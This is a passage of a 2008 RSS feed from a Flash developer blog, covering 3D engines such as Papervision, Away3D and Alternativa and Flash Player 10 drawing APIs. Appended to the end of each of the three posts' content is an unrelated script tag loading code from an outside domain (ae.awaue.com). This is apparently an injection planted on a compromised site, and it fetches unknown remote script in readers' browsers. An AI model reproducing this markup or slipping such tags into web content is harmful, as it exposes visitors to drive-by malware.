<li><a href="http://www.dreaminginflash.com/2008/05/21/interview-with-rob-bateman-away3d/">http://www.dreaminginflash.com/2008/05/21/interview-with-rob-bateman-away3d/</a></li>
</ul>
<p>..and here&#8217;s the little summary:</p>
<ol>
<li>Features such as native 3D APIs won&#8217;t affect both engines because they&#8217;re based on drawing triangles (skewing)</li>
<li>Otherwise, new drawing APIs will strongly improve both engines performances, vectors of drawTriangle instruction will replace arrays of very long drawing instructions</li>
<li>PixelBender will enhace shaders&#8217; performances, Ralph talks about 10 times faster&#8230; Both are quite sure this technology will be used on shaders.</li>
<li>Both are assuming it would be great (but not a priority) to implement vector render (as <a href="http://five3d.mathieu-badimon.com/">Five3D</a> already does)</li>
</ol>
<p>stay tuned,</p>
<p>byez<script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.flashfuck.it/2008/06/14/fp-10-and-3d-engines-for-flash-platform-ralph-hauwert-and-rob-bateman/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Wanna build your own 3D engine?</title>
		<link>http://www.flashfuck.it/2008/06/02/wanna-build-your-own-3d-engine/</link>
		<comments>http://www.flashfuck.it/2008/06/02/wanna-build-your-own-3d-engine/#comments</comments>
		<pubDate>Mon, 02 Jun 2008 13:53:01 +0000</pubDate>
		<dc:creator>pigiuz</dc:creator>
				<category><![CDATA[3D]]></category>
		<category><![CDATA[ActionScript 3]]></category>
		<category><![CDATA[Tutorials]]></category>

		<guid isPermaLink="false">http://www.flashfuck.it/2008/06/02/wanna-build-your-own-3d-engine/</guid>
		<description><![CDATA[I just found a very good tutorial by Senocular able to clarify every (or at least many) doubt and misunderstanding about practices to bring 3D effects in Flash.¬† Here&#8217;s the link http://www.kirupa.com/developer/actionscript/3dindex.htm
I don&#8217;t know if someone would be interested in this kind of experiments, there are many good projects that make 3D approach easier than [...]]]></description>
			<content:encoded><![CDATA[<p>I just found a very good tutorial by <a href="http://www.senocular.com/">Senocular</a> able to clarify every (or at least many) doubt and misunderstanding about practices to bring 3D effects in Flash.¬† Here&#8217;s the link <a href="http://www.kirupa.com/developer/actionscript/3dindex.htm">http://www.kirupa.com/developer/actionscript/3dindex.htm</a></p>
<p>I don&#8217;t know if someone would be interested in this kind of experiments, there are many good projects that make 3D approach easier than build your own engine. However even if <a href="http://blog.papervision3d.org/">Papervision</a> or <a href="http://away3d.com/">Away3D</a> let us make 3D content (..oh, i forgot to add <a href="http://labs.adobe.com/technologies/flashplayer10/">flash 10</a> to this list <img src='http://www.flashfuck.it/wp-includes/images/smilies/icon_biggrin.gif' alt=':D' class='wp-smiley' /> ) I think it&#8217;s always better to understand what&#8217;s going on behind the scenes to better comprehend what&#8217;s the magic made of <img src='http://www.flashfuck.it/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> <script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.flashfuck.it/2008/06/02/wanna-build-your-own-3d-engine/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Great june for 3D on Flash platform :D</title>
		<link>http://www.flashfuck.it/2008/06/01/great-june-for-3d-on-flash-platform-d/</link>
		<comments>http://www.flashfuck.it/2008/06/01/great-june-for-3d-on-flash-platform-d/#comments</comments>
		<pubDate>Sun, 01 Jun 2008 17:57:01 +0000</pubDate>
		<dc:creator>pigiuz</dc:creator>
				<category><![CDATA[3D]]></category>
		<category><![CDATA[Alternativa Platform]]></category>
		<category><![CDATA[Papervision 3D]]></category>

		<guid isPermaLink="false">http://www.flashfuck.it/2008/06/01/great-june-for-3d-on-flash-platform-d/</guid>
		<description><![CDATA[June is starting from two big hot news for flash 3D fans and devs:


Papervision team merged Great White and Effects branches, now effects are considered &#8220;stable&#8221; (as a beta can be  ) and they&#8217;ve been included in the project core. There&#8217;s a plenty of synthax and logic changes but the result is pretty awesome, [...]]]></description>
			<content:encoded><![CDATA[<p>June is starting from two big hot news for flash 3D fans and devs:</p>
<p style="text-align: center"><img src="http://www.flashfuck.it/wp-content/uploads/2008/06/ist2_5320460_calendar_june.jpg" alt="ist2_5320460_calendar_june.jpg" /></p>
<ol>
<li>Papervision team merged Great White and Effects branches, now effects are considered &#8220;stable&#8221; (as a beta can be <img src='http://www.flashfuck.it/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> ) and they&#8217;ve been included in the project core. There&#8217;s a plenty of synthax and logic changes but the result is pretty awesome, so update your working copy from <a href="http://code.google.com/p/papervision3d/source/checkout">great white svn</a> and visit <a href="http://blog.zupko.info/?p=129">Zupko&#8217;s blog</a> to keep you up to date. Note for devs: From now on &#8220;effects&#8221; branch on svn is to be considered deprecated.</li>
<li><a href="http://alternativaplatform.com/en/alternativa3d/">Alternativa Platform is ready to try</a>!!!!! From Russia with love, this cutting edge 3D project finally is available for download and test. The major interest for me is to try out a 3d engine already cooked for flash player 10. Anyway keep calm your blood, whilst Alternativa is a really kickin ass project it&#8217;s not free nor open, so if you&#8217;re already planning to build up something that will be commercial you have to send some roubles there in Russia <img src='http://www.flashfuck.it/wp-includes/images/smilies/icon_biggrin.gif' alt=':D' class='wp-smiley' /> </li>
</ol>
<p>&#8230;no doubts about this is a good way to begin summer time <img src='http://www.flashfuck.it/wp-includes/images/smilies/icon_biggrin.gif' alt=':D' class='wp-smiley' /> <script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.flashfuck.it/2008/06/01/great-june-for-3d-on-flash-platform-d/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
